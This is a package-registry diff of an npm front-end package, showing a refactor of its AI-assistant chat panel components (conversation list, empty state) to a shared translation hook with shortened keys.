@burdenoff/microfe-healthybowl 2026.903.21 → 2026.904.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (66) hide show
  1. package/dist/components/assistant/AIAssistantPanel.js +25 -21
  2. package/dist/components/assistant/AIAssistantPanel.js.map +1 -1
  3. package/dist/components/assistant/AssistantApiCallsConsentDialog.js +8 -8
  4. package/dist/components/assistant/AssistantApiCallsConsentDialog.js.map +1 -1
  5. package/dist/components/assistant/AssistantAutoSpeakToggle.js +1 -1
  6. package/dist/components/assistant/AssistantChatArea.js +248 -249
  7. package/dist/components/assistant/AssistantChatArea.js.map +1 -1
  8. package/dist/components/assistant/AssistantConversationList.js +31 -31
  9. package/dist/components/assistant/AssistantConversationList.js.map +1 -1
  10. package/dist/components/assistant/AssistantEmptyState.js +9 -9
  11. package/dist/components/assistant/AssistantEmptyState.js.map +1 -1
  12. package/dist/components/assistant/AssistantHeader.js +17 -17
  13. package/dist/components/assistant/AssistantHeader.js.map +1 -1
  14. package/dist/components/assistant/AssistantMarkdownImage.js +14 -14
  15. package/dist/components/assistant/AssistantMarkdownImage.js.map +1 -1
  16. package/dist/components/assistant/AssistantMarkdownRenderer.js +25 -25
  17. package/dist/components/assistant/AssistantMarkdownRenderer.js.map +1 -1
  18. package/dist/components/assistant/AssistantMessageAttachments.js +29 -29
  19. package/dist/components/assistant/AssistantMessageAttachments.js.map +1 -1
  20. package/dist/components/assistant/AssistantMessageItem.js +28 -28
  21. package/dist/components/assistant/AssistantMessageItem.js.map +1 -1
  22. package/dist/components/assistant/AssistantMessageList.js +14 -14
  23. package/dist/components/assistant/AssistantMessageList.js.map +1 -1
  24. package/dist/components/assistant/AssistantMoreMenu.js +25 -25
  25. package/dist/components/assistant/AssistantMoreMenu.js.map +1 -1
  26. package/dist/components/assistant/AssistantPendingWriteCard.js +8 -8
  27. package/dist/components/assistant/AssistantPendingWriteCard.js.map +1 -1
  28. package/dist/components/assistant/AssistantReplyLanguageSelector.js +11 -11
  29. package/dist/components/assistant/AssistantReplyLanguageSelector.js.map +1 -1
  30. package/dist/components/assistant/AssistantSpeakButton.js +4 -4
  31. package/dist/components/assistant/AssistantSpeakButton.js.map +1 -1
  32. package/dist/components/assistant/AssistantSpeechProvider.js +188 -188
  33. package/dist/components/assistant/AssistantSpeechProvider.js.map +1 -1
  34. package/dist/components/assistant/AssistantSpokenTurnsNotice.js +5 -5
  35. package/dist/components/assistant/AssistantSpokenTurnsNotice.js.map +1 -1
  36. package/dist/components/assistant/AssistantToolActivity.js +16 -16
  37. package/dist/components/assistant/AssistantToolActivity.js.map +1 -1
  38. package/dist/components/assistant/composer/AssistantAttachmentButton.js +20 -20
  39. package/dist/components/assistant/composer/AssistantAttachmentButton.js.map +1 -1
  40. package/dist/components/assistant/composer/AssistantAttachmentChips.js +23 -23
  41. package/dist/components/assistant/composer/AssistantAttachmentChips.js.map +1 -1
  42. package/dist/components/assistant/composer/AssistantComposer.js +44 -44
  43. package/dist/components/assistant/composer/AssistantComposer.js.map +1 -1
  44. package/dist/components/assistant/composer/AssistantLanguageSelector.js +7 -7
  45. package/dist/components/assistant/composer/AssistantLanguageSelector.js.map +1 -1
  46. package/dist/components/assistant/composer/AssistantModeSelector.js +28 -28
  47. package/dist/components/assistant/composer/AssistantModeSelector.js.map +1 -1
  48. package/dist/components/assistant/composer/AssistantVoiceButton.js +6 -6
  49. package/dist/components/assistant/composer/AssistantVoiceButton.js.map +1 -1
  50. package/dist/components/assistant/composer/AssistantVoiceSelector.js +7 -7
  51. package/dist/components/assistant/composer/AssistantVoiceSelector.js.map +1 -1
  52. package/dist/components/assistant/voice/AssistantVoiceSession.js +77 -77
  53. package/dist/components/assistant/voice/AssistantVoiceSession.js.map +1 -1
  54. package/dist/components/assistant/voice/AssistantVoiceSessionButton.js +6 -6
  55. package/dist/components/assistant/voice/AssistantVoiceSessionButton.js.map +1 -1
  56. package/dist/components/assistant/voice/VoiceConversationView.js +11 -11
  57. package/dist/components/assistant/voice/VoiceConversationView.js.map +1 -1
  58. package/dist/components/assistant/voice/VoiceTranscriptDrawer.js +13 -13
  59. package/dist/components/assistant/voice/VoiceTranscriptDrawer.js.map +1 -1
  60. package/dist/hooks/useAssistantAttachments.js +94 -94
  61. package/dist/hooks/useAssistantAttachments.js.map +1 -1
  62. package/dist/services/assistantApi.js +1 -1
  63. package/dist/services/assistantApi.js.map +1 -1
  64. package/dist/utils/attachmentSources.js +4 -4
  65. package/dist/utils/attachmentSources.js.map +1 -1
  66. package/package.json +2 -2
@@ -1 +1 @@
1
- {"version":3,"file":"AssistantConversationList.js","names":[],"sources":["../../../src/components/assistant/AssistantConversationList.tsx"],"sourcesContent":["import { useState, type FC } from 'react';\nimport { Plus, Trash2, MessageSquare, PanelLeftClose, Pencil, Check } from 'lucide-react';\nimport { useAssistantStore } from '@/store/assistantStore';\nimport { ASSISTANT_MODES } from '@/types/assistant';\nimport { useTr } from '../../shared/hooks/useTr';\nimport { chatTurns } from '../../utils/voiceTurnVisibility';\n\nexport const AssistantConversationList: FC = () => {\n const tr = useTr();\n const {\n conversations,\n activeConversationId,\n processingByConversationId,\n setActiveConversation,\n setMode,\n createConversation,\n deleteConversation,\n renameConversation,\n setConversationListOpen,\n } = useAssistantStore();\n\n const [editingId, setEditingId] = useState<string | null>(null);\n const [editTitle, setEditTitle] = useState('');\n\n const handleCreate = () => {\n createConversation();\n setConversationListOpen(false);\n };\n\n const handleSelect = (id: string) => {\n const selectedConversation = conversations.find((conversation) => conversation.id === id);\n setActiveConversation(id);\n if (selectedConversation) {\n setMode(selectedConversation.mode);\n }\n setConversationListOpen(false);\n };\n\n const handleStartRename = (id: string, currentTitle: string) => {\n setEditingId(id);\n setEditTitle(currentTitle);\n };\n\n const handleConfirmRename = () => {\n if (editingId && editTitle.trim()) {\n renameConversation(editingId, editTitle.trim());\n }\n setEditingId(null);\n };\n\n const handleDelete = (e: React.MouseEvent, id: string) => {\n e.stopPropagation();\n deleteConversation(id);\n };\n\n return (\n <div\n className=\"absolute inset-0 z-10 flex flex-col bg-bg-surface animate-in slide-in-from-left-2 fade-in duration-200\"\n data-testid=\"conversation-list\"\n >\n {/* Header */}\n <div className=\"flex items-center justify-between px-4 py-3 border-b border-border-default bg-bg-elevated\">\n <span className=\"text-[13px] font-semibold text-text-primary\">\n {tr('healthybowl.assistant.conversations.title', 'History')}\n </span>\n <div className=\"flex items-center gap-0.5\">\n <button\n type=\"button\"\n onClick={handleCreate}\n className=\"p-1.5 rounded-lg text-text-secondary hover:bg-bg-sunken transition-colors\"\n aria-label={tr('healthybowl.assistant.conversations.new', 'New conversation')}\n data-testid=\"new-conversation\"\n >\n <Plus className=\"size-4\" />\n </button>\n <button\n type=\"button\"\n onClick={() => setConversationListOpen(false)}\n className=\"flex items-center gap-1 px-2 py-1.5 rounded-lg text-text-secondary hover:bg-bg-sunken transition-colors\"\n aria-label={tr('healthybowl.assistant.conversations.collapse', 'Collapse history')}\n data-testid=\"collapse-conversation-list\"\n >\n <PanelLeftClose className=\"size-4\" />\n <span className=\"text-[11px] font-medium\">\n {tr('healthybowl.assistant.conversations.collapseLabel', 'Collapse')}\n </span>\n </button>\n </div>\n </div>\n\n {/* List */}\n <div className=\"flex-1 overflow-y-auto\">\n {conversations.length === 0 ? (\n <div className=\"flex flex-col items-center justify-center h-full text-center px-4\">\n <MessageSquare className=\"size-6 text-text-muted mb-2\" />\n <p className=\"text-xs text-text-muted\">\n {tr('healthybowl.assistant.conversations.empty', 'No conversations yet')}\n </p>\n <button\n type=\"button\"\n onClick={handleCreate}\n className=\"mt-2 text-xs text-action-primary-bg hover:underline\"\n >\n {tr('healthybowl.assistant.conversations.startNew', 'Start a new conversation')}\n </button>\n </div>\n ) : (\n <div className=\"py-1\">\n {conversations.map((conv) => {\n const isActive = conv.id === activeConversationId;\n const isEditing = conv.id === editingId;\n const modeConfig = ASSISTANT_MODES.find((m) => m.id === conv.mode);\n // ★ Preview the turns the thread will actually SHOW. Spoken turns\n // are deliberately kept out of the typed thread, so previewing the\n // raw array promised content the conversation then withheld: a\n // voice-only row displayed a title and a snippet, and opened onto\n // an empty screen. Filtering makes the row honest, and the badge\n // below says where the missing content went.\n const typedTurns = chatTurns(conv.messages);\n const lastMessage = typedTurns[typedTurns.length - 1];\n const spokenOnly = typedTurns.length === 0 && conv.messages.length > 0;\n const processing = processingByConversationId[conv.id];\n\n return (\n <div\n role=\"button\"\n tabIndex={0}\n onKeyDown={(e) => {\n if (e.key === 'Enter' || e.key === ' ') {\n e.preventDefault();\n (() => !isEditing && handleSelect(conv.id))();\n }\n }}\n key={conv.id}\n onClick={() => !isEditing && handleSelect(conv.id)}\n className={`group px-3 py-2 cursor-pointer hover:bg-bg-elevated transition-colors ${\n isActive ? 'bg-bg-elevated border-l-2 border-action-primary-bg' : ''\n }`}\n >\n {isEditing ? (\n <div className=\"flex items-center gap-1\">\n <input\n aria-label={tr('healthybowl.assistant.conversations.renameLabel', 'Conversation title')}\n value={editTitle}\n onChange={(e) => setEditTitle(e.target.value)}\n onKeyDown={(e) => {\n if (e.key === 'Enter') handleConfirmRename();\n if (e.key === 'Escape') setEditingId(null);\n }}\n className=\"flex-1 text-xs bg-bg-sunken border border-border-default rounded px-2 py-1 text-text-primary focus:outline-none focus:border-action-primary-bg\"\n onClick={(e) => e.stopPropagation()}\n />\n <button\n type=\"button\"\n onClick={(e) => {\n e.stopPropagation();\n handleConfirmRename();\n }}\n className=\"p-1 hover:bg-bg-sunken rounded\"\n aria-label={tr('healthybowl.assistant.conversations.saveTitle', 'Save title')}\n >\n <Check className=\"size-3 text-status-success-text\" />\n </button>\n </div>\n ) : (\n <>\n <div className=\"flex items-center justify-between\">\n <span className=\"text-xs font-medium text-text-primary truncate flex-1\">{conv.title}</span>\n <div className=\"hidden group-hover:flex group-focus-within:flex items-center gap-0.5 ml-1\">\n <button\n type=\"button\"\n onClick={(e) => {\n e.stopPropagation();\n handleStartRename(conv.id, conv.title);\n }}\n className=\"p-0.5 hover:bg-bg-sunken rounded\"\n aria-label={tr('healthybowl.assistant.conversations.rename', 'Rename conversation')}\n >\n <Pencil className=\"size-3 text-text-muted\" />\n </button>\n <button\n type=\"button\"\n onClick={(e) => handleDelete(e, conv.id)}\n className=\"p-0.5 hover:bg-bg-sunken rounded\"\n aria-label={tr('healthybowl.assistant.conversations.delete', 'Delete conversation')}\n data-testid=\"delete-conversation\"\n >\n <Trash2 className=\"size-3 text-status-error-text\" />\n </button>\n </div>\n </div>\n <div className=\"flex items-center gap-1.5 mt-0.5\">\n <span className=\"text-[10px] text-text-muted px-1 py-0.5 bg-bg-sunken rounded\">\n {modeConfig?.label ?? conv.mode}\n </span>\n <span className=\"text-[10px] text-text-muted\">{typedTurns.length} msgs</span>\n {processing && processing.status !== 'idle' && (\n <span className=\"text-[10px] text-action-primary-bg px-1 py-0.5 bg-bg-sunken rounded\">\n {processing.status}\n </span>\n )}\n </div>\n {lastMessage && (\n <p className=\"text-[10px] text-text-muted truncate mt-0.5\">\n {lastMessage.content.slice(0, 60)}\n </p>\n )}\n {spokenOnly && (\n <p className=\"text-[10px] text-text-muted truncate mt-0.5\">\n {tr('healthybowl.assistant.conversationList.voiceOnly', 'Spoken conversation')}\n </p>\n )}\n </>\n )}\n </div>\n );\n })}\n </div>\n )}\n </div>\n </div>\n );\n};\n"],"mappings":";;;;;;;;AAOA,IAAa,UAAsC;CACjD,IAAM,IAAK,EAAM,GACX,EACJ,kBACA,yBACA,+BACA,0BACA,YACA,uBACA,uBACA,uBACA,+BACE,EAAkB,GAEhB,CAAC,GAAW,KAAgB,EAAwB,IAAI,GACxD,CAAC,GAAW,KAAgB,EAAS,EAAE,GAEvC,UAAqB;EAEzB,AADA,EAAmB,GACnB,EAAwB,EAAK;CAC/B,GAEM,KAAgB,MAAe;EACnC,IAAM,IAAuB,EAAc,MAAM,MAAiB,EAAa,OAAO,CAAE;EAKxF,AAJA,EAAsB,CAAE,GACpB,KACF,EAAQ,EAAqB,IAAI,GAEnC,EAAwB,EAAK;CAC/B,GAEM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AK,KAAK;UACvC;UACA,WAAU;UACV,cAAY,EAAG,8CAA8C,qBAAqB;oBAElF,kBAAC,GAAD,EAAQ,WAAU,yBAA0B,CAAA;SACtC,CAAA,GACR,kBAAC,UAAD;UACE,MAAK;UACL,UAAU,MAAM,EAAa,GAAG,EAAK,EAAE;UACvC,WAAU;UACV,cAAY,EAAG,8CAA8C,qBAAqB;UAClF,eAAY;oBAEZ,kBAAC,GAAD,EAAQ,WAAU,gCAAiC,CAAA;SAC7C,CAAA,CACL;UACF;;OACL,kBAAC,OAAD;QAAK,WAAU;kBAAf;SACE,kBAAC,QAAD;UAAM,WAAU;oBACb,GAAY,SAAS,EAAK;SACvB,CAAA;SACN,kBAAC,QAAD;UAAM,WAAU;oBAAhB,CAA+C,EAAW,QAAO,OAAW;;SAC3E,KAAc,EAAW,WAAW,UACnC,kBAAC,QAAD;UAAM,WAAU;oBACb,EAAW;SACR,CAAA;QAEL;;OACJ,KACC,kBAAC,KAAD;QAAG,WAAU;kBACV,EAAY,QAAQ,MAAM,GAAG,EAAE;OAC/B,CAAA;OAEJ,KACC,kBAAC,KAAD;QAAG,WAAU;kBACV,EAAG,oDAAoD,qBAAqB;OAC5E,CAAA;MAEL,EAAA,CAAA;KAED,GAjFE,EAAK,EAiFP;IAET,CAAC;GACE,CAAA;EAEJ,CAAA,CACF;;AAET"}
1
+ {"version":3,"file":"AssistantConversationList.js","names":[],"sources":["../../../src/components/assistant/AssistantConversationList.tsx"],"sourcesContent":["import { useState, type FC } from 'react';\nimport { Plus, Trash2, MessageSquare, PanelLeftClose, Pencil, Check } from 'lucide-react';\nimport { useAssistantStore } from '@/store/assistantStore';\nimport { ASSISTANT_MODES } from '@/types/assistant';\nimport { useAssistantTr } from '@burdenoff/fe-libs/shared/assistant';\nimport { chatTurns } from '../../utils/voiceTurnVisibility';\n\nexport const AssistantConversationList: FC = () => {\n const tr = useAssistantTr();\n const {\n conversations,\n activeConversationId,\n processingByConversationId,\n setActiveConversation,\n setMode,\n createConversation,\n deleteConversation,\n renameConversation,\n setConversationListOpen,\n } = useAssistantStore();\n\n const [editingId, setEditingId] = useState<string | null>(null);\n const [editTitle, setEditTitle] = useState('');\n\n const handleCreate = () => {\n createConversation();\n setConversationListOpen(false);\n };\n\n const handleSelect = (id: string) => {\n const selectedConversation = conversations.find((conversation) => conversation.id === id);\n setActiveConversation(id);\n if (selectedConversation) {\n setMode(selectedConversation.mode);\n }\n setConversationListOpen(false);\n };\n\n const handleStartRename = (id: string, currentTitle: string) => {\n setEditingId(id);\n setEditTitle(currentTitle);\n };\n\n const handleConfirmRename = () => {\n if (editingId && editTitle.trim()) {\n renameConversation(editingId, editTitle.trim());\n }\n setEditingId(null);\n };\n\n const handleDelete = (e: React.MouseEvent, id: string) => {\n e.stopPropagation();\n deleteConversation(id);\n };\n\n return (\n <div\n className=\"absolute inset-0 z-10 flex flex-col bg-bg-surface animate-in slide-in-from-left-2 fade-in duration-200\"\n data-testid=\"conversation-list\"\n >\n {/* Header */}\n <div className=\"flex items-center justify-between px-4 py-3 border-b border-border-default bg-bg-elevated\">\n <span className=\"text-[13px] font-semibold text-text-primary\">{tr('conversations.title', 'History')}</span>\n <div className=\"flex items-center gap-0.5\">\n <button\n type=\"button\"\n onClick={handleCreate}\n className=\"p-1.5 rounded-lg text-text-secondary hover:bg-bg-sunken transition-colors\"\n aria-label={tr('conversations.new', 'New conversation')}\n data-testid=\"new-conversation\"\n >\n <Plus className=\"size-4\" />\n </button>\n <button\n type=\"button\"\n onClick={() => setConversationListOpen(false)}\n className=\"flex items-center gap-1 px-2 py-1.5 rounded-lg text-text-secondary hover:bg-bg-sunken transition-colors\"\n aria-label={tr('conversations.collapse', 'Collapse history')}\n data-testid=\"collapse-conversation-list\"\n >\n <PanelLeftClose className=\"size-4\" />\n <span className=\"text-[11px] font-medium\">{tr('conversations.collapseLabel', 'Collapse')}</span>\n </button>\n </div>\n </div>\n\n {/* List */}\n <div className=\"flex-1 overflow-y-auto\">\n {conversations.length === 0 ? (\n <div className=\"flex flex-col items-center justify-center h-full text-center px-4\">\n <MessageSquare className=\"size-6 text-text-muted mb-2\" />\n <p className=\"text-xs text-text-muted\">{tr('conversations.empty', 'No conversations yet')}</p>\n <button\n type=\"button\"\n onClick={handleCreate}\n className=\"mt-2 text-xs text-action-primary-bg hover:underline\"\n >\n {tr('conversations.startNew', 'Start a new conversation')}\n </button>\n </div>\n ) : (\n <div className=\"py-1\">\n {conversations.map((conv) => {\n const isActive = conv.id === activeConversationId;\n const isEditing = conv.id === editingId;\n const modeConfig = ASSISTANT_MODES.find((m) => m.id === conv.mode);\n // ★ Preview the turns the thread will actually SHOW. Spoken turns\n // are deliberately kept out of the typed thread, so previewing the\n // raw array promised content the conversation then withheld: a\n // voice-only row displayed a title and a snippet, and opened onto\n // an empty screen. Filtering makes the row honest, and the badge\n // below says where the missing content went.\n const typedTurns = chatTurns(conv.messages);\n const lastMessage = typedTurns[typedTurns.length - 1];\n const spokenOnly = typedTurns.length === 0 && conv.messages.length > 0;\n const processing = processingByConversationId[conv.id];\n\n return (\n <div\n role=\"button\"\n tabIndex={0}\n onKeyDown={(e) => {\n if (e.key === 'Enter' || e.key === ' ') {\n e.preventDefault();\n (() => !isEditing && handleSelect(conv.id))();\n }\n }}\n key={conv.id}\n onClick={() => !isEditing && handleSelect(conv.id)}\n className={`group px-3 py-2 cursor-pointer hover:bg-bg-elevated transition-colors ${\n isActive ? 'bg-bg-elevated border-l-2 border-action-primary-bg' : ''\n }`}\n >\n {isEditing ? (\n <div className=\"flex items-center gap-1\">\n <input\n aria-label={tr('conversations.renameLabel', 'Conversation title')}\n value={editTitle}\n onChange={(e) => setEditTitle(e.target.value)}\n onKeyDown={(e) => {\n if (e.key === 'Enter') handleConfirmRename();\n if (e.key === 'Escape') setEditingId(null);\n }}\n className=\"flex-1 text-xs bg-bg-sunken border border-border-default rounded px-2 py-1 text-text-primary focus:outline-none focus:border-action-primary-bg\"\n onClick={(e) => e.stopPropagation()}\n />\n <button\n type=\"button\"\n onClick={(e) => {\n e.stopPropagation();\n handleConfirmRename();\n }}\n className=\"p-1 hover:bg-bg-sunken rounded\"\n aria-label={tr('conversations.saveTitle', 'Save title')}\n >\n <Check className=\"size-3 text-status-success-text\" />\n </button>\n </div>\n ) : (\n <>\n <div className=\"flex items-center justify-between\">\n <span className=\"text-xs font-medium text-text-primary truncate flex-1\">{conv.title}</span>\n <div className=\"hidden group-hover:flex group-focus-within:flex items-center gap-0.5 ml-1\">\n <button\n type=\"button\"\n onClick={(e) => {\n e.stopPropagation();\n handleStartRename(conv.id, conv.title);\n }}\n className=\"p-0.5 hover:bg-bg-sunken rounded\"\n aria-label={tr('conversations.rename', 'Rename conversation')}\n >\n <Pencil className=\"size-3 text-text-muted\" />\n </button>\n <button\n type=\"button\"\n onClick={(e) => handleDelete(e, conv.id)}\n className=\"p-0.5 hover:bg-bg-sunken rounded\"\n aria-label={tr('conversations.delete', 'Delete conversation')}\n data-testid=\"delete-conversation\"\n >\n <Trash2 className=\"size-3 text-status-error-text\" />\n </button>\n </div>\n </div>\n <div className=\"flex items-center gap-1.5 mt-0.5\">\n <span className=\"text-[10px] text-text-muted px-1 py-0.5 bg-bg-sunken rounded\">\n {modeConfig?.label ?? conv.mode}\n </span>\n <span className=\"text-[10px] text-text-muted\">{typedTurns.length} msgs</span>\n {processing && processing.status !== 'idle' && (\n <span className=\"text-[10px] text-action-primary-bg px-1 py-0.5 bg-bg-sunken rounded\">\n {processing.status}\n </span>\n )}\n </div>\n {lastMessage && (\n <p className=\"text-[10px] text-text-muted truncate mt-0.5\">\n {lastMessage.content.slice(0, 60)}\n </p>\n )}\n {spokenOnly && (\n <p className=\"text-[10px] text-text-muted truncate mt-0.5\">\n {tr('conversationList.voiceOnly', 'Spoken conversation')}\n </p>\n )}\n </>\n )}\n </div>\n );\n })}\n </div>\n )}\n </div>\n </div>\n );\n};\n"],"mappings":";;;;;;;;AAOA,IAAa,UAAsC;CACjD,IAAM,IAAK,EAAe,GACpB,EACJ,kBACA,yB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r as e } from "../../shared/hooks/useTr.js";
2
- import { describeCurrentPage as t } from "../../utils/pageContext.js";
3
- import { ASSISTANT_MODES as n } from "../../types/assistant.js";
4
- import { useMemo as r } from "react";
5
- import { Sparkles as i } from "lucide-react";
1
+ import { describeCurrentPage as e } from "../../utils/pageContext.js";
2
+ import { ASSISTANT_MODES as t } from "../../types/assistant.js";
3
+ import { useMemo as n } from "react";
4
+ import { Sparkles as r } from "lucide-react";
5
+ import { useAssistantTr as i } from "@burdenoff/fe-libs/shared/assistant";
6
6
  import { jsx as a, jsxs as o } from "react/jsx-runtime";
7
7
  //#region src/components/assistant/AssistantEmptyState.tsx
8
8
  var s = ({ mode: s, onSuggestionClick: c }) => {
9
- let l = e(), u = n.find((e) => e.id === s) ?? n[0], d = r(() => t(), []), f = u.suggestions.slice(0, 4);
9
+ let l = i(), u = t.find((e) => e.id === s) ?? t[0], d = n(() => e(), []), f = u.suggestions.slice(0, 4);
10
10
  return /* @__PURE__ */ o("div", {
11
11
  className: "flex flex-1 flex-col items-center justify-center overflow-y-auto px-6 py-8 text-center",
12
12
  children: [
13
13
  /* @__PURE__ */ a("div", {
14
14
  className: "flex size-12 items-center justify-center rounded-2xl bg-gradient-to-br from-action-primary-bg/25 to-action-primary-bg/5 text-action-primary-bg shadow-sm",
15
- children: /* @__PURE__ */ a(i, { className: "size-6" })
15
+ children: /* @__PURE__ */ a(r, { className: "size-6" })
16
16
  }),
17
17
  /* @__PURE__ */ a("h2", {
18
18
  className: "mt-5 text-2xl font-semibold leading-tight tracking-tight text-text-primary",
19
- children: l("healthybowl.assistant.empty.title", "How can I help?")
19
+ children: l("empty.title", "How can I help?")
20
20
  }),
21
21
  /* @__PURE__ */ a("p", {
22
22
  className: "mt-2 max-w-[16rem] text-[13px] leading-relaxed text-text-muted",
23
- children: l("healthybowl.assistant.empty.subtitle", "You're viewing {{page}}. Ask about it, or pick a suggestion below.", { page: d })
23
+ children: l("empty.subtitle", "You're viewing {{page}}. Ask about it, or pick a suggestion below.", { page: d })
24
24
  }),
25
25
  /* @__PURE__ */ a("div", {
26
26
  className: "mt-6 flex flex-wrap items-center justify-center gap-2",
@@ -1 +1 @@
1
- {"version":3,"file":"AssistantEmptyState.js","names":[],"sources":["../../../src/components/assistant/AssistantEmptyState.tsx"],"sourcesContent":["import { useMemo, type FC } from 'react';\nimport { Sparkles } from 'lucide-react';\nimport type { AssistantMode } from '@/types/assistant';\nimport { ASSISTANT_MODES } from '@/types/assistant';\nimport { describeCurrentPage } from '@/utils/pageContext';\nimport { useTr } from '../../shared/hooks/useTr';\n\ninterface Props {\n mode: AssistantMode;\n onSuggestionClick: (suggestion: string) => void;\n}\n\n/**\n * AssistantEmptyState — the v2 zero-message surface (per the \"panel-welcome\"\n * mockup): a centered gradient sparkle mark, one headline, one contextual\n * sentence, and 3–4 rounded suggestion chips. Shown only while a conversation\n * has no messages (AssistantChatArea swaps it for the transcript once messages\n * exist). Derived from the former AssistantWelcome.\n */\nexport const AssistantEmptyState: FC<Props> = ({ mode, onSuggestionClick }) => {\n const tr = useTr();\n // Fall back to the first mode if the active mode is no longer offered (e.g. a\n // persisted api-calls mode after the master flag was turned off).\n const modeConfig = ASSISTANT_MODES.find((m) => m.id === mode) ?? ASSISTANT_MODES[0];\n const pageLabel = useMemo(() => describeCurrentPage(), []);\n const suggestions = modeConfig.suggestions.slice(0, 4);\n\n return (\n <div className=\"flex flex-1 flex-col items-center justify-center overflow-y-auto px-6 py-8 text-center\">\n <div className=\"flex size-12 items-center justify-center rounded-2xl bg-gradient-to-br from-action-primary-bg/25 to-action-primary-bg/5 text-action-primary-bg shadow-sm\">\n <Sparkles className=\"size-6\" />\n </div>\n\n <h2 className=\"mt-5 text-2xl font-semibold leading-tight tracking-tight text-text-primary\">\n {tr('healthybowl.assistant.empty.title', 'How can I help?')}\n </h2>\n <p className=\"mt-2 max-w-[16rem] text-[13px] leading-relaxed text-text-muted\">\n {tr(\n 'healthybowl.assistant.empty.subtitle',\n \"You're viewing {{page}}. Ask about it, or pick a suggestion below.\",\n { page: pageLabel }\n )}\n </p>\n\n <div className=\"mt-6 flex flex-wrap items-center justify-center gap-2\">\n {suggestions.map((suggestion) => (\n <button\n type=\"button\"\n key={suggestion}\n onClick={() => onSuggestionClick(suggestion)}\n className=\"rounded-full border border-border-subtle bg-bg-surface px-3.5 py-2 text-[13px] leading-tight text-text-primary shadow-sm transition-all hover:border-action-primary-bg/40 hover:bg-bg-elevated hover:shadow-md\"\n data-testid=\"assistant-suggestion\"\n >\n {suggestion}\n </button>\n ))}\n </div>\n </div>\n );\n};\n"],"mappings":";;;;;;;AAmBA,IAAa,KAAkC,EAAE,SAAM,2BAAwB;CAC7E,IAAM,IAAK,EAAM,GAGX,IAAa,EAAgB,MAAM,MAAM,EAAE,OAAO,CAAI,KAAK,EAAgB,IAC3E,IAAY,QAAc,EAAoB,GAAG,CAAC,CAAC,GACnD,IAAc,EAAW,YAAY,MAAM,GAAG,CAAC;CAErD,OACE,kBAAC,OAAD;EAAK,WAAU;YAAf;GACE,kBAAC,OAAD;IAAK,WAAU;cACb,kBAAC,GAAD,EAAU,WAAU,SAAU,CAAA;GAC3B,CAAA;GAEL,kBAAC,MAAD;IAAI,WAAU;cACX,EAAG,qCAAqC,iBAAiB;GACxD,CAAA;GACJ,kBAAC,KAAD;IAAG,WAAU;cACV,EACC,wCACA,sEACA,EAAE,MAAM,EAAU,CACpB;GACC,CAAA;GAEH,kBAAC,OAAD;IAAK,WAAU;cACZ,EAAY,KAAK,MAChB,kBAAC,UAAD;KACE,MAAK;KAEL,eAAe,EAAkB,CAAU;KAC3C,WAAU;KACV,eAAY;eAEX;IACK,GAND,CAMC,CACT;GACE,CAAA;EACF;;AAET"}
1
+ {"version":3,"file":"AssistantEmptyState.js","names":[],"sources":["../../../src/components/assistant/AssistantEmptyState.tsx"],"sourcesContent":["import { useMemo, type FC } from 'react';\nimport { Sparkles } from 'lucide-react';\nimport type { AssistantMode } from '@/types/assistant';\nimport { ASSISTANT_MODES } from '@/types/assistant';\nimport { describeCurrentPage } from '@/utils/pageContext';\nimport { useAssistantTr } from '@burdenoff/fe-libs/shared/assistant';\n\ninterface Props {\n mode: AssistantMode;\n onSuggestionClick: (suggestion: string) => void;\n}\n\n/**\n * AssistantEmptyState — the v2 zero-message surface (per the \"panel-welcome\"\n * mockup): a centered gradient sparkle mark, one headline, one contextual\n * sentence, and 3–4 rounded suggestion chips. Shown only while a conversation\n * has no messages (AssistantChatArea swaps it for the transcript once messages\n * exist). Derived from the former AssistantWelcome.\n */\nexport const AssistantEmptyState: FC<Props> = ({ mode, onSuggestionClick }) => {\n const tr = useAssistantTr();\n // Fall back to the first mode if the active mode is no longer offered (e.g. a\n // persisted api-calls mode after the master flag was turned off).\n const modeConfig = ASSISTANT_MODES.find((m) => m.id === mode) ?? ASSISTANT_MODES[0];\n const pageLabel = useMemo(() => describeCurrentPage(), []);\n const suggestions = modeConfig.suggestions.slice(0, 4);\n\n return (\n <div className=\"flex flex-1 flex-col items-center justify-center overflow-y-auto px-6 py-8 text-center\">\n <div className=\"flex size-12 items-center justify-center rounded-2xl bg-gradient-to-br from-action-primary-bg/25 to-action-primary-bg/5 text-action-primary-bg shadow-sm\">\n <Sparkles className=\"size-6\" />\n </div>\n\n <h2 className=\"mt-5 text-2xl font-semibold leading-tight tracking-tight text-text-primary\">\n {tr('empty.title', 'How can I help?')}\n </h2>\n <p className=\"mt-2 max-w-[16rem] text-[13px] leading-relaxed text-text-muted\">\n {tr('empty.subtitle', \"You're viewing {{page}}. Ask about it, or pick a suggestion below.\", {\n page: pageLabel,\n })}\n </p>\n\n <div className=\"mt-6 flex flex-wrap items-center justify-center gap-2\">\n {suggestions.map((suggestion) => (\n <button\n type=\"button\"\n key={suggestion}\n onClick={() => onSuggestionClick(suggestion)}\n className=\"rounded-full border border-border-subtle bg-bg-surface px-3.5 py-2 text-[13px] leading-tight text-text-primary shadow-sm transition-all hover:border-action-primary-bg/40 hover:bg-bg-elevated hover:shadow-md\"\n data-testid=\"assistant-suggestion\"\n >\n {suggestion}\n </button>\n ))}\n </div>\n </div>\n );\n};\n"],"mappings":";;;;;;;AAmBA,IAAa,KAAkC,EAAE,SAAM,2BAAwB;CAC7E,IAAM,IAAK,EAAe,GAGpB,IAAa,EAAgB,MAAM,MAAM,EAAE,OAAO,CAAI,KAAK,EAAgB,IAC3E,IAAY,QAAc,EAAoB,GAAG,CAAC,CAAC,GACnD,IAAc,EAAW,YAAY,MAAM,GAAG,CAAC;CAErD,OACE,kBAAC,OAAD;EAAK,WAAU;YAAf;GACE,kBAAC,OAAD;IAAK,WAAU;cACb,kBAAC,GAAD,EAAU,WAAU,SAAU,CAAA;GAC3B,CAAA;GAEL,kBAAC,MAAD;IAAI,WAAU;cACX,EAAG,eAAe,iBAAiB;GAClC,CAAA;GACJ,kBAAC,KAAD;IAAG,WAAU;cACV,EAAG,kBAAkB,sEAAsE,EAC1F,MAAM,EACR,CAAC;GACA,CAAA;GAEH,kBAAC,OAAD;IAAK,WAAU;cACZ,EAAY,KAAK,MAChB,kBAAC,UAAD;KACE,MAAK;KAEL,eAAe,EAAkB,CAAU;KAC3C,WAAU;KACV,eAAY;eAEX;IACK,GAND,CAMC,CACT;GACE,CAAA;EACF;;AAET"}
@@ -1,31 +1,31 @@
1
